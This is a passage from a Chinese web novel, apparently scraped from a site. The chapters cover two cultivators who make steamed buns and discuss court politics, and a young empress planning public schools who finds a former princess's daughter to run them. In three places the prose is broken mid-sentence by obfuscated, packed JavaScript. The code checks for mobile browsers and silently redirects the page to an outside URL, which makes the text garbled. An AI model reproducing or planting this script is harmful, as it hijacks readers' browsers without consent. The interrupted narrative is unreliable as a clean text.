她以指尖轻点下颌,“于朝野上下而言,此番阿昭如何封赏傅寻白,便是陛下对世家之事态度的风向标……” “后日阿昭的拜会,想来多半与此事有关。”褚眠冬想了想,“此外,还有一个很重要的变量。” 燕无辰点点头,接下话来:“傅寻白此人究竟如何,以及女帝对他的态度。” “确是如此。”褚眠冬颔首,“如无意外,三日后会一并见到他,届时便知。” “那便到时再说。”燕无辰抬手指了指已与两人相隔不远的河畔,“现在,先放花灯罢。” 夜色已深,河畔却被水中密密挨挨的花灯映照得亮彻如昼。 十五已过,前来放花灯的人潮依然不减汹涌。褚眠冬与燕无辰看着岸边层层叠叠的人群,不约而同萌生了退意。 两人对视一眼,燕无辰率先开口道: “其实我觉得,回院中取个水缸装了水,把花灯放进去,也是一样的道理。” 褚眠冬深以为然:“这河中花灯明日清晨皆会被捞起清理,放水缸中反倒留存更久。” 两人飞速达成共识,当下便都歇了入乡随俗的心思,提着花灯往回小院的方向去。 燕无辰看向褚眠冬,“原本我有些担心。” 步履向前时,一盏盏花灯的光亮在少女眸中一一掠过,如渐次流过的飞星。 “探讨术法时便见你很是注重实感。原本我有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我也是。”褚眠冬道,“倘若你不说出口,而径直选择‘迁就’,那我的压力也会很大。久而久之,你我在这段交集中感受到的压力将远大于乐趣,便也无以为继。” “关于这种让双方都不快乐的迁就,我听过一个故事。” 燕无辰凝眸望她,静候细听。 “有一对夫妇,两人都很喜欢吃鱼。妻子记着丈夫爱吃鱼尾,于是尽管她自己很爱吃,却每次都将鱼尾夹给丈夫;丈夫记着妻子爱吃鱼头,于是尽管他自己很爱吃,却每次都将鱼头夹给妻子。” 听到这里,燕无辰提出疑问: “所以,两人都并不知道对方真正爱吃的是什么,而只按照自己以为的‘对方的喜好’,压抑自我……或说,自我感动?” 褚眠冬摊手道:“直到老去,于弥留之际,两人才终于互相坦诚自己并不爱吃鱼头、不喜食鱼尾,然后发现原来二人按照自己的想法‘迁就’了对方一辈子,并且双方都不开心,认为自己为对方付出了很多。” “但这些其实都没有必要。”燕无辰说,“但凡有过一次坦诚交谈,两人就能各得所好。” “这便是我认为这个故事的寓意所在了。”褚眠冬道,“不过也有很多人感动于两人间互相迁就的爱情,这便见仁见智了。” 燕无辰猛猛摇头:“不,有话直说是一种美德,我会继续保持的。” 12. 明君策 次日黄昏,睡饱的褚眠冬推开厢房门时,被陡然跃入眼帘的一片白花花闪了眼。 亭中石桌石凳、院中凉榻之上,三口竹编大圆口簸箕盛着一排排白面馒头,粗粗看来其数过百。 从几乎看不出馒头形状的歪七扭八,逐渐过渡到隐约能看出是个馒头的不规则团状,再到还冒着热腾水汽、醒发得益的圆润馒头,堪称一部生动形象的馒头手艺进化史。 已知,院中并无仆从,只有她与燕无辰两人。 又知,昨夜两人边走边聊,一路将夜市逛到近乎三更歇市,在即将收摊的果食铺前驻足,于所剩不多的面人样式中,并未找到心仪的模样。 还知,那时二人倍觉遗憾,转而往旁侧米面铺中去买了面粉,笑说不若自行手捏,还更有纪念意义。 待回到院中,褚眠冬早把这事忘了个干净。 她将花灯安置在院中种莲的水缸中,便提着在夜市上扫荡得来的一干小食点心回了厢房,安置了从书摊上购入的一众书本外带摊主附赠塞入其中的几本册子,于引入房后的温泉中沐浴洗漱后,便循着习惯径直入睡,一觉到现在。 褚眠冬默了默,在心中估计一番做出这百来个馒头大概需要花费多长时间,又循着院中动静寻去了厨房,在水汽升腾的竹屉前见到了燕无辰。 少年已换下外罩的广袖白衫,改着将袖口束起的衬袍。 浅色的衣襟不染尘埃,自颊侧滑落的一绺黑发上沾染的雪色却分外明晰。 见她推门进来,燕无辰眸光一亮。 “来得正好,这最后一屉定是最成功的。” 说着,许是算准了时间,燕无辰掀开笼盖,温热湿润的轻白水汽漫溢而出,氤氲了少年的眉眼,也带出涌入鼻尖的浓郁麦香,引人食指大动。 褚眠冬探头去看,便见竹屉中一圈卖相上佳的白面馒头。 伸手拿起,滚烫绵软的触感贴在指尖,叫人仿佛一瞬间置身街头晨市,正等第一屉包点热腾出炉,好驱散早间尚存的最后一缕凉意。 “说这是城中最好的包点铺做出的馒头也毫不违和。” 她帮着将馒头盛入盘中,“是因为昨夜我们说到做面人吗?” 褚眠冬环顾整个厨房,并未看见任何与面人相关的物件。 “嗯……”燕无辰有些遗憾地摇头,“一开始尝试过,效果……不太行。” 一边说着,两人将最新出炉的两盘馒头端到院中,见无处可放,燕无辰移开一口圆簸箕将亭中石桌空出。 他以目光示意这口圆簸箕中的四不像馒头: “就是这些了,最早做的一批。” “一开始想试试捏人,结果是这样。” 燕无辰指向几个呈抽象「大」字形的馒头团。 “然后想,要不退而求其次,做编花馒头。” 他指向旁边的几个弯曲圆筒状面团,依稀能看出尝试做出层次感的努力。 “接着觉得,其实做成兔子模样也已经很不错了。” 燕无辰指向另一侧,进入视线的是几个顶部支出两只角的扭曲圆团。 “最后我发现,能做成最常见的圆馒头就已经很不容易了。” 他道:“不光是塑形,和面、揉面和发酵都不乏需要注意之处。如今是初春,较低的室温也对制作有一定影响。好在控制着条件变化试过几轮后,也算摸出了适宜的比例、手法和时间温度……” 这一刻,褚眠冬觉得自己像一个随口给课题组许下飘渺课题的老板,而手下的学生不仅信了,还连夜赶出了几百组数据,真做出了名堂,正做着组会汇报。 ……虽然细节上还有很多值得商榷的地方,但不妨碍这种即视感真的很强。 她迅速住脑,拍了拍少年的肩膀:“燕道友。” 燕无辰从实验报告总结中抽出思绪:“嗯?” 褚眠冬沉肃道:“以你如此缜密的逻辑思维能力、过人的行动力和认真务实的研究态度,生在这修界,还是屈才了啊。” 燕无辰:……? 褚眠冬:放现代社会,高低得是学术界泰斗。 * 两人将挤满小院的百来个白面馒头收入储物袋中,留作未来路上的口粮;又蘸酿酱与馒头同食,取出昨夜带回的蒸点就着笼屉热上,煮一壶清茶为佐。 再于院中闲闲坐下时,已是暮色四合时分。 “你还是不高兴。” 燕无辰看向褚眠冬,少年的眸光中写着笃定,语气也近乎陈述。 “自从昨夜买花灯,不,听说女帝和傅寻白之事后,你就不高兴。” 他在褚眠冬下意识的视线回避中移开了眸光,眉眼微垂。 “……原本以为做出面人或许能让你开心一点。” 这一句话轻声得近乎嘟囔,褚眠冬却还是听清了,也因此后知后觉,原来少年今晨回来拉扯出这百来个馒头的初衷,竟是如此。 心中浮起一缕星火般的慰藉,稍纵即逝,却也足够她露出一个笑容。 “谢谢你。不论结果如何,这份心意,我完完整整地接收到了。” 闻言,少年稍稍抬眸,目光里多了一丝笑模样,又浮现几缕犹豫和思索。 “如果。”他观察着她,谨慎组织着言语,“如果你愿意的话……或许可以和我聊聊,为什么不开心。” 燕无辰拿不准他方才说破少女不开心时,对方下意识的视线闪躲是否意味着并不愿提及此事的回避。 “如果不想说,那就……” 话到嘴边,他还是无法违逆真心,“抱歉,主观上来说,我真的很想为你分忧。但我的主观想法如此,并不影响我希望你完全依照自己的意愿做出决定。” 他认真道:“我只是想告诉你,我担心你,并愿意和你一同分担。同时,我不希望这份心情成为你的负担。我的想法就是这样。” 这番严谨的措辞几乎断绝了少年的话语被曲解的大多数可能。 褚眠冬分了一缕心神想,这很好,话语不惧字多,而怕模糊。 她摇了摇头,也坦诚道:“我并非不愿与你提这原因,只是被看出真实情绪这件事,让我感到惊讶。” 燕无辰说:“认真看着一个人,认真试图去了解一个人时,可以做到。如果不能,大抵是因为观察太少。” 他想了想,“也许人的面部表情和情绪的对应关系存在一定的客观规律,可以通过掌握基本规律做推断。” 少年丝毫不知他在无意间窥得了现代心理学察言观色的重要理论基础,只平静又坦然地继续道: “只是我只这般细致地观察过你一人,所以拿不出大量的参考数据,对客观规律的掌握也就无从谈起。” ……竟然就这么坦然地说出了「我一直在认真注视着你,且只有你一个」这种含义的话。 还与轻浮狡黠无关,皆为天然。 褚眠冬顿了顿,并未在此多作探讨,而将 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“观念存于人心,而人心不可入。” 她看向燕无辰,“便如此刻你就在我眼前,我却永远不会拥有将自己的想法强加于你的无上权柄。” 褚眠冬再叹一声,摇头道:“如此无形无态而不可轻移之事,难免引人心生无力之感。” 燕无辰抬手拢住褚眠冬的茶盏,用灵力将盏中茶水重又温至适口,推盏至少女手侧。 “如是格局之下,身处朝野亦并不好受。” 他也看向头顶的一角夜空。 “抛开恃位弄权者不谈,于其位励精图治一世者,也可能因牵扯进皇权世家之争中而丢掉性命。” “族中后辈的婚事无关当事二人意见,而全权由族中长辈依照家族利益而定,身如工具。” “帝王并未切身地接触到每个朝臣,对朝中大多数人的认知,除却薄薄名册上的几行字,便是日日处理的奏折中参此人的本子,甚至难有观阅此人文章之时。” “我大概体会过如是感受……” 他道,“对外界具体的人的接触变得稀薄,便有某个瞬间,不再觉得一个名字后对应的是一个活生生的人,而仿佛就只是几个简简单单毫无分量的字,划去、消亡,也不觉得有什么可惜。” 燕无辰垂眸,“此为两败之局。” 褚眠冬想,在好友褚明秋的家乡,遥远的现代,有一个能精准地概括这情形的词——时代局限性。 “即便飞升上界,也不可能得到一夕之间扭转人心观念的权柄。” 她轻轻叹气,“大多数人的一生,有八成时间都在固守着心中那套已有的观念而活。便如那日,你我在百晓城主街举目望去,无人愿自查自己内心的观念,更不谈更新自己的认知。” 短暂的静默中,燕无辰轻敲茶盏的指尖一顿。 他说:“那剩下的两成时间呢?” 褚眠冬:“剩下的两成时间,是人生最初的时候。” 话音方落,褚眠冬意识到了什么。 “……也是观念逐渐形成,扎根在心的时候。” “是啊。” 她忽而有了对出路的些微感知,仿佛柳暗花明,又见微光。 “人生的前一小段不同,孩子不同。” “是教育,在人心中撒下了观念的种子。” 13. 明君策 “如今「正统」的教育,为皇权和世家所垄断。”褚眠冬分析道,“曦帝设太女太师之位,广纳天下各域能者,以授阿昭。” “世家教育则以太学为主,设国子监,世家后代不论性别,适龄者皆入国子监,习曦帝钦点之书。也因此,参加科举的学子大都有世家背景。国子监所用教材,其中不少由曦帝亲撰,摒弃部分过于陈腐的旧论,而加入更多合乎今事的新知。” “除限定在皇权与世家之间的「正统教育」之外,还有一个分布最广泛的教育方式,即家学渊源,亦即父母亲属的言传身授。” 褚眠冬轻点指尖,“这是最不受身份限制的教育方式,也是对一个人影响最深的方式,不受任何当朝举措所扰,也因此最难撼动。” 燕无辰执壶,又为两只茶盏中添了茶。再看向褚眠冬时,二人皆在对方眸中看见了一丝了然。 燕无辰道:“若昭帝继承了曦帝之志,若傅寻白当真如坊市传言所说,忠昭帝、有大才、通时事,想来他的封赏便不会是拜相与入鸾宫中的任何一个。” 褚眠冬说:“相反,他会成为阿昭手中的锋刃,对持续千载的皇权世家之局挥出的第一刀。” 只是,这锋刃是否长久可靠、心甘情愿,便需另当别论了。 * 次日,容昭携傅寻白来访。 “如何让一个人心甘情愿、长久付出?” 与褚眠冬单独交谈时,容昭这般说道: “「是爱。让这个人爱上你,却得不到全部的你。」母亲总是这样说。” “母亲如先前的每任帝王一般,广纳后宫三千,不为享乐,而以后宫为手段,牵制把控各大世家,巩固帝权。她需要以此获得令行禁止的权力,好让那些与前朝相比太过超前,以至于被视作大逆不道的新策得以一项项切实推行,而非无人响应,变为废纸。” 容昭垂了眸,“但我知晓,母亲并不从这样的掌控中获得快乐,也不在这样的‘被爱’中感到幸福。” “这方皇权与世家之争的棋局,母亲用她任上的数十载,为如今的我撑开了天衍四九之外的人遁其一。” “我的出身与任何世家皆无关联,这便是最大的优势。如非如此,最大的阻碍,将首先来自外戚全族。” “出航之时,母亲带走了她的肱骨之臣,将朝中重臣之位留空,由我自行安排我的心腹。” “设太学培养世家后代,让世家后代中依然有可用之才。待朝中不再任人唯亲而任人惟才时,部分世家因此而被削弱,却有更多世家因家中尚存有才之人而受损甚微,不至于因此而引起大范围不满。” “太学,正是过渡的跳板。” 她抬眸看向褚眠冬,眸光灼灼。 “如今,我要做的已经很是明晰。” “开市学,让寒门布衣得到与世家后代同等的受教育的权利。” “不同于会被家中长辈教导「姻亲即利益绑定」之说的太学生,对市学生的教育,应强调摒弃如此观念,令其专注于修才能和为实事,而非学成依附世家。” “定期微服寻访市学,对其中学生进行随机考校,以对市学所教有所把握;借市学不断往朝野官员中引入寒门人士,一点点冲散世家积势。” “于第一届市学生出师之际,罢黜后宫,断绝「姻亲即利益绑定」的最大工具。” “自废后宫伊始,朝中任免皆以才学为准绳,废黜无真才实学而凭姻亲、亲缘上位者,择怀才学、办实事者任之。” 话语间,年轻的帝王条理清晰,逻辑亦分明。 “但这其中,有一个最为重要的问题——” “由谁,去领命开设市学?” “此人不可能于此前毫无积势。空降之人,行事时三分阻碍都会变为十二分。” “此人需有真才实学,对市学所授明晰在心,而行事有度,雁过无痕。” 容昭话语一转。 “除此之外,市学所授,可令其间所出之人皆忠于才学、忠于实事,亦可能令其间所出之仕皆忠于一人。” “但为国所育之才,不应成了为山长所育之才。因此,最重要的是,此人需从里至外、完完整整地忠于我。在此人的教导之下,若市学所出者一定要忠于一个人,那个人也只能是当朝昭帝。” 年轻的帝王阖了眸,话语近乎喟叹。 “我知道母亲原本择定的人选便是傅寻白。” 她轻声道: “一个爱着当朝昭帝,却自知不可能相守的聪明人。” * 外室,燕无辰与傅寻白同坐案前,对坐饮茶。 “我如何不知,帝王姻亲,工具大于真情。世家长子入鸾宫,于朝野所见,便是傅家与新帝牢牢相绑,并非她所愿。” 着一袭青竹长衫的青年长长叹息,“一日为世家子,我与她便不可能在明面上相守哪怕一日,这一点,我早已知晓。” “我却同样知晓,正因我是世家子,才在家学渊源下有了有才的基础;也正因我是世家子,才能在恰好的时候遇见她,同她相知。” 傅寻白摇了摇头,又是一叹。 “若我为寻常布衣,即便有天分也难有机会得到教育,遑论得与皇太女相见,得到赏识,同行相知。” “如此想来,确实形同悖论。”燕无辰开了口,“若为悖论,这其中定有不合理之处。” “布衣得不到与世家同等的教育,也无法接触与世家后代同等的人脉。”傅寻白道,“这便是问题所在。” “如果作为世家子注定无法光明正大同她相守,我想就我所能,稍微做些我能做之事,至少让这悖论再无重现之日。” “我无法改变这朝中相信「姻亲即利益绑定」的大多数人,却可以让普通人也都能得到受教育的权利和皇家的赏识,让更多人,自幼时起不被教导「姻亲即利益绑定」。” 青年眸光明亮,似旭日朝阳。 “我想向陛下请旨,于坊间设市学,普及教育。” * 里间,容昭与褚眠冬的交谈亦在继续。 “母亲说,爱而不得相守可能会让一个人跳出利益既得者的高位,而反观其身处的框架本身。” 容昭顿了顿,“……母亲是对的。近日里寻白时常谈及如今的教育情况,想来提出市学之策,只是时间问题。” “这之后的逻辑并不复杂。”褚眠冬说,“爱而不得相守让他体会到了利益受损的滋味,也因此得到动力,开始探究其中的不合理之处。” “所以他不是我想要的。” 容昭摇了摇头。 “我并不想要一个,因自己的利益受到损害,才会开始转而思考框架本身是否有不合理之处的市学执掌者。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716874|173756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “依照理智来分析,这个人选应当颇具积势、具有主流意义上的才学认证、因为某些原因忠于我,但从直觉来说,这些都不是我最在乎的。” 她看向褚眠冬,认真道: “我需要一个市学执掌者,此人对所在框架的审视与反思伴随着每一个日常,对更好更合理之事的追求不需要利益损害作为动力,而近乎天性。” “我需要这样的审视和反思是一种「特质」,而非一种「情势所迫」。一如老师您。” 深深望进褚眠冬眼底,容昭轻轻叹了口气。 “可如今,我尚未寻得这样一个人。” 容昭摇头道:“若有如此一人,我便设其为市学山长,主持市学所授;令寻白为国子监祭酒,掌太学暗中辅佐。” 闻言,褚眠冬指尖轻点,有些感慨。 “老实说,我觉得你的这条筛选标准,从各种意义上来讲,都脱出了常用的、被习以为常的大多数外在「标准」,而近乎筛选一个人的内在。” 她以手支颐,想起了昨夜于书摊主作为附赠的几本小册子里翻到的一本。 褚眠冬去厢房寻了那本封面草书「庐中论」三字的小册,交予容昭,道: “说不定这《庐中论》的作者,便是阿昭你所寻之人。” 这本小册纸质一般、书页毛躁,装订亦是随便,一看便知是民间送来书铺装订自存的册子,还是最便宜的那一档装订方式。 手中这本尤其不美观,大抵是店家尝试装订时的失败品,便并未交予送装人,而另行誊抄做了副本再装,这本失败品便留在了书铺旁的箩筐中,用作卖书时对来客的随赠——这类随赠常用作充当厕纸。 在如今各式纸类尚贵的人间,这是书铺常用的留客手段。 容昭翻开这册子,便为其中内容眼前一亮。 册中所书,大抵可算作日记体,以日期为序,数篇文章先后排列。 但具体到每篇中,却又并非用以记叙当日经历与所感,而不提日常,只以加密的话语记述当日对一个问题的思考和设想,从如今的朝野之困到如何更省时省力地做出一屉包子,不一而足。 这本册子中日期最近的几篇文章在三月前,以七篇文章为系列,逐一论述了开设市学的可能性、必要性、其间横亘的阻碍、相应的对策、可能带来的新问题等,结合篇篇涵盖甚广的文章中鞭辟入里的分析与论断,无不指向这般思考正是写下此册之人的兴趣所在,亦即容昭所需。 容昭旋即唤暗卫十五调查写下这《庐中论》之人。 十五领命前往送出小册的书摊时,正遇上一位乔装后的仆从前来询问,要求摊主交还一册装订失败后被留下的册子。 说来也是巧,仆从口中描述的册子模样,可不恰好是那卷被作为厕纸附赠予褚眠冬的《庐中论》? 在心间暗叹一声得来全不费工夫,十五一路跟随这位仆从在坊市间兜了小半个时辰,又跟入了皇宫,最终停在了一处幽静的小院前。 全然不似宫中它处的雕梁画栋,院中草木葱茏、曲径通幽,正是前朝皇帝的末女,前朝永乐公主慕鸾之女慕卿所居之处。 事情变得有些复杂了,十五想。 永乐公主与太上皇曦帝间的二三事……罢了,左右这也不是自己一个暗卫应想能想的事。 只需复命便是,陛下自有决断。 14. 明君策 四十三载前,开国女帝容曦一统四海,率兵逼入昏庸无道的前朝皇帝所盘踞的皇都。 皇帝末女、永乐公主慕鸾登上宫墙,在望见高坐马上、身披银甲的容曦后,亲手为容家军打开了宫门,迎容曦入宫。 彼时,在宫人的一片混乱奔逃中,慕鸾摒弃了繁复雍容的公主华服,着一身寻常衣衫,只身立于宫门之侧,躬身向容曦致礼。 “我没有身为一国公主的荣耀需要维系,也不认为当今的腐朽之君值得我为之奋战到最后一刻。” 她平静地看向容曦,“容将军,您是能够为百姓带来和乐与安康的那个人。这帝位,便应由您来坐。” 手执锋锐长枪的容曦同样平静地看向慕鸾。半晌,她沉默着举起长枪,示意军阵前进。 容曦登极后,并未褫夺前朝永乐公主之位,而允慕鸾携驸马继续长居于永乐宫中,除不允出宫、隔断交集外,一切月例照旧,如此至今。 去岁深秋,永乐公主慕鸾寿终正寝。公主驸马于五载前因病逝世,如今的永乐宫中,只居慕鸾之女慕卿一人。 “慕卿参见陛下。” 身形清减的少女连声轻咳,坐在机巧司出品的木制轮椅上,同容昭见礼。 慕卿与容昭同岁,患体弱不足之症。 看见慕卿的那一刻,褚眠冬与燕无辰了然地对视一瞬,却皆未多言。 容昭道:“不必多礼。” 她环顾慕卿的书房,见炭火充足、用度齐全,才从怀中取了那册子,放在轮椅扶手上。 “这册子,是你写的罢。” 未待慕卿回答,容昭先摇了摇头,自答般叹道: “是了,我早该想到是你。幼时那些地理天文、经卷遁甲,能同我畅言探讨的,一直都只有你。” 容昭年幼时,容曦寻天下各域奇人为她授课。 上至观星象、通地理,下至品经卷、习人心,有天赋且好学如容昭,也有受不了长年累月的一对一教学而逃课,试图寻一个伴读为自己分担火力的时候。 太学中那群自视甚高、吹嘘学问的世家后代,在容昭看来大都是连和她正常交流都做不到,却天天自诩才华横溢的小屁孩,简称银样镴枪头,中看不中用; 而唯有僻静的永乐宫里那位冰雪聪明的小姑娘,总是能跟上她的思维不说,还时常能为她带来新的思路和启发,实乃百里无一的最佳伴读人选。 小容昭想,她能打包票,在有了小慕卿的课堂上,她的学习进程能事半功倍。 于是,在小容昭的主动邀请下,容慕两小只共度了不少互相启发、妙趣横生的课堂时光。 直到有一日,两个小姑娘的秘密被慕卿的父亲,永乐公主驸马撞破。 自那之后,发生了什么呢? 容昭认真地回忆,只记得似乎是听闻小慕卿的身体每况愈下,渐渐连迈出永乐宫都成了难事。 再往后,慕卿此人,连带着一整个永乐宫,都开始从容昭少时的记忆里慢慢淡去。 从回忆中抽出身来,容昭微不可闻地浅浅叹气,重又将注意力集中于当下。 同慕卿就册中所书市学之策聊了小半时辰,慕卿的身体便已有疲乏难抑之态。 容昭着宫人侍候慕卿睡下,带褚眠冬与燕无辰回了自己宫中,唤糕点茶水请二人坐下。 屏退一众侍从后,容昭看向燕无辰。 “方才听阿卿论及市学之策,不知在仙长看来,寻云所论较之阿卿所论何如?” 燕无辰阖眸摇头,坦言道: “思考一个问题三月,与思考一个问题三载之分别。” 容昭叹了口气,转向褚眠冬。 “老师,想必您已经明了,这便是我不愿将市学一事交予寻白的原因。” “寻白并不是不聪明,相反,他的确才华横溢。但对他而言,开始深入思考一件事,需要来自外界的推力。” “我固然可以制造这份推力,在他眼前挂上一根能够引他一直向前迈步的萝卜,但若有朝一日,这根萝卜被他吃进嘴里了,之后呢?再去寻一根萝卜吗?” 容昭放下茶盏,眸光悠远。 “这也是我质疑于母亲所言‘「爱而不得」让一个人心甘情愿、长久付出’的原因。” “也许这是一条经由母亲实践、颠扑不破的策略,但我却希望,离我身侧最近的那个同行者,不是为了那根被我有意拴在眼前的萝卜而与我一同前行。” “相反,这个人与我一样,一直都将眸光投向更远的地方,希望这朝堂,这四海,这人间,在我们目所能及又或无缘得见的未来,变成一个更好的地方。于是我们为这份远处的光景,一路向前。” “我知道,如此同行者百中无一。母亲作为走在最前方的那一个人,她走得格外艰辛,也格外孤独。” 容昭的眸光黯了黯,“我一直跟在她身后,所以深知,母亲一生都没遇见一个能与她并肩的人。” 燕无辰已隐隐猜到些眉目,却依然问出了口: “永乐公主慕鸾……可曾算其一?” “鸾姨啊。” 容昭虽长长叹气,唇角却带出一点微笑的弧度。 “同我讲起她与鸾姨的幼时之事时,大抵是母亲笑容最多的时候了罢。” “母亲和鸾姨自幼相识。她们相识的场合不是宫宴,并非花会,而在城郊的演武场中。” 前朝皇帝忌惮手握盖主兵权的将相王侯,自登基起便行崇文抑武之策,于朝堂费尽心力引一众文官排挤武将之余,亦克扣边军粮饷、仅饱皇室私军。 重文轻武之风在朝野上下盛行,平和时期都需得认真扳指算好粮饷账的武将,此时更是身陷水深火热之中。 负责如容家将,纵然自家俸禄尚无着落,也竭力自掏腰包全了粮饷所需,再饿不能饿边军; 而原本便只将军职当作一份普通工作的京中诸将,便在日渐稀疏的俸禄中懈怠下来——皇上的安危有皇上花大力气自养的私军负责,自己何必做些费力不讨好的活计。 几载下来,皇城城郊的演武场竟都成了杂草丛生的半荒废之地。 容家长女容曦与永乐公主慕鸾,便是在容曦抡动长枪、拦腰斩断比两个小姑娘还高的草叶时,于霜白枪尖的凛冽锋芒中簌簌落下的青黄之色间,初次相遇。 “我偷偷拉着阿卿同我一道听太师们讲课的事情,未能瞒过母亲。”容昭道,“有一日,用晚膳时我与母亲共论今日所学,兴奋忘形间,叫母亲察觉到了第三个人的存在。” “原本我很是惶恐,未料母亲只是摸了摸我的头,并未就此多言,只作无事发生,竟是默许了。” 她轻叹道,“如今想来,母亲如何会不知宫中之事。兴许是由此想起了与鸾姨的过往,这才近乎纵容。” 对朝中事相同的义愤填膺和对四海升平的共同愿景,让在演武场初遇的容曦与慕鸾两人一见如故。 之后的很多天,她们相约在城郊那片不见人影的演武场谈天说地,聊文韬武略,砭时弊旧策,又一起畅想规划一个不同于今朝的新国度,相约要一同将之变为现实。 最初,容曦与慕鸾的计划是徐徐图之,慕鸾夺嫡,容曦护国。 但一年比一年吃紧的边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716875|173756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关战事容不得两人慢慢成长,容曦及笄当日,一纸诏书送至容府,容曦作为容家的新生战力被帝令遣送至边关,诏令一日不将失地尽数收回,容家全族便一日不得回撤一步。 与遣送容曦的圣旨一同去往边关的,还有空有诏书而不见实物的十万粮饷。 帝令如此,便是要容家连同驻守的十万边军,一同葬在边关的风雪之中。 次年,容曦以百步穿杨之箭射杀敌军首领,引敌军群龙无首,一举大溃;同年,容家主于战场重伤,不治身亡。 容曦带着于边关苦战数年、而今惨胜残余而归的万余将士,一路走过城池荒野、饿殍遍地,又看见河畔画舫、帐下歌舞。 “母亲说,她希望鸾姨也能看遍这些,又希望鸾姨永远不必看见这些。” 在皇帝拟旨欲将宫中子女一个个许给四方敌国和亲为质前,容曦逼入了皇城。 至此,一人冠旒加身日理万机,一人静居深院一生沉寂。 “母亲任上数年,朝野上下大都是自微末时便跟随母亲征战沙场的旧部,大多数人从未和前朝皇室中具体的谁亲身接触过。在他们眼中,前朝皇室只是一个抽象的符号,意味着数年来不顾边军生死的军饷克扣,背负着边军九万将士的冤死亡魂。” “因此,前朝公主之女与当朝皇太女一同听太师们授课,这是一件绝不能摆在明面上的事情。太师们只将课中新来的小姑娘当作伴读,母亲不曾说什么,鸾姨也不曾说什么,直到这个由各方暗中维系的平衡被打破。” “说实话……” 容昭垂了眸,“如今我依然未曾知晓,阿卿的体弱之症究竟如何而来。” “时间太巧了。” “母亲告诉我阿卿大病一场后体弱惧寒、不宜外出时,我大发脾气,指责定是母亲不愿让人陪我读书而从中作梗。” “那时母亲的神情,我至今记忆犹新。” 容昭轻声道: “喟叹、遗憾,了然、无言,还有一分我从未在她身上见过的恍然与疲惫。” 便是那一瞬间,还是孩子的容昭,隐约窥见了登极为帝是一条怎样的路。 无人心向的帝王空有发令权,而无人将指令落实。是以朝中的数个权臣之位,总需要有人去坐;影响这些权臣忠诚度的群体偏见,便是帝王也得忌惮几分。 对前朝皇室的仇恨让容曦身边的近臣忠于她,也让她与前朝公主慕鸾的情谊为朝野所不容。 是谁对慕卿动手已然不重要,这是众望所归之下的心照不宣。 容曦一日身在帝位,便一日不得为此平反。 “如今,”容昭抬眸,“这朝野上下残余的偏见……便由我来将之打破罢。” 褚眠冬看向这位年轻的帝王。 她年岁尚浅,眸光中却已有沉淀的气度,隐隐可见其间深藏的锋芒。 她会是一位明君。 容昭微微柔和了周身气势,“谢谢您,老师。这些旧事,我也只有在您与仙长这般方外人士面前尚可一叙了。” 她轻轻笑起,眉宇间那抹英气一如往昔。 “老师,四十年后,再来看看这天下是何模样罢。” 褚眠冬看着容昭带笑的眉眼,那分锐利的英气叫她想起了八年前的容昭。 彼时,少女眉眼恣意,同样这般说道: “老师,八载后,再来看看我是何模样罢。” 于是褚眠冬也微微笑起,应声道: “好。” 容昭一向如此—— 无需指点,只需见证。 她向来清楚自己的路。 15. 明君策 从宫中出来,褚眠冬与燕无辰回了小院。 “阿昭既已寻得中意的任命人选,此事落地便只是时间问题。” 褚眠冬抬手接了庭中飘落的一朵红梅,握在掌心。 “纵朝中依然会因慕卿的身份而多有非议,但会因对前朝皇室的仇恨而死谏的那批肱骨之臣皆已随曦帝出海,如今朝中重位所居,大都是阿昭一手带起的心腹。” 燕无辰叹声,“如此说来,虽昭帝尚且登基两月,身后的布局却至少十载有余。” “于阿昭而言是如此。”褚眠冬道,“于曦帝而言,焉知不是数十载筹谋,才有了今日。” 从利用姻亲观念落实一众利民举措,到禅位时为容昭留出更宽阔的、能够尝试撬动固有姻亲观念的空间,容曦在位多久,便为今日与未来铺了多久的路。 帝者难为,明君尤甚。 “这就是我钦佩如容曦与阿昭这般人的原因。” 褚眠冬挥袖轻拂过梅树边的小桌,将桌上的梅瓣拂落。 “便如潮退之后,岸上的浅水洼中躺着无数搁浅的鱼。我能做的是漫步岸边,将其中的一条或几条拾起、扔回海中;而容曦与阿昭所为,却是尝试让这搁浅不再发生。” 她叹道:“即使一时之间不见成效,一生之久尚为开端,她们也依然一直知晓自己想要的是什么,并为此一代接一代,一年复一年地努力。” 两人于树下桌侧落座,一片梅瓣落在燕无辰手侧,他捻起那瓣红梅,嗅到一缕清浅的残香。 “也许这便是人间与修界的区别了。”燕无辰说,“因为百八十载便是一生,故而此事需代代相承;也因为百八十载便是一生,才让这件事成为可能。” “凡人的一生用二十载建起一套观念,又用八十载去固守这套观念;修者则用前二十载建立观念,而用往后的数百乃至千载时间,将之固守成山。” “修者的寿数随修为而增长,对观念的固守便也因时间的绵长而比人间严重得多。又因子嗣不丰,向来无甚统一的开蒙机构,便也无从去谈从教育抓起。” 燕无辰取了新落的梅瓣重又拼作花形,抬眼看向褚眠冬。 “从如此意义而言,修界的情形,更适合拾鱼之策。” 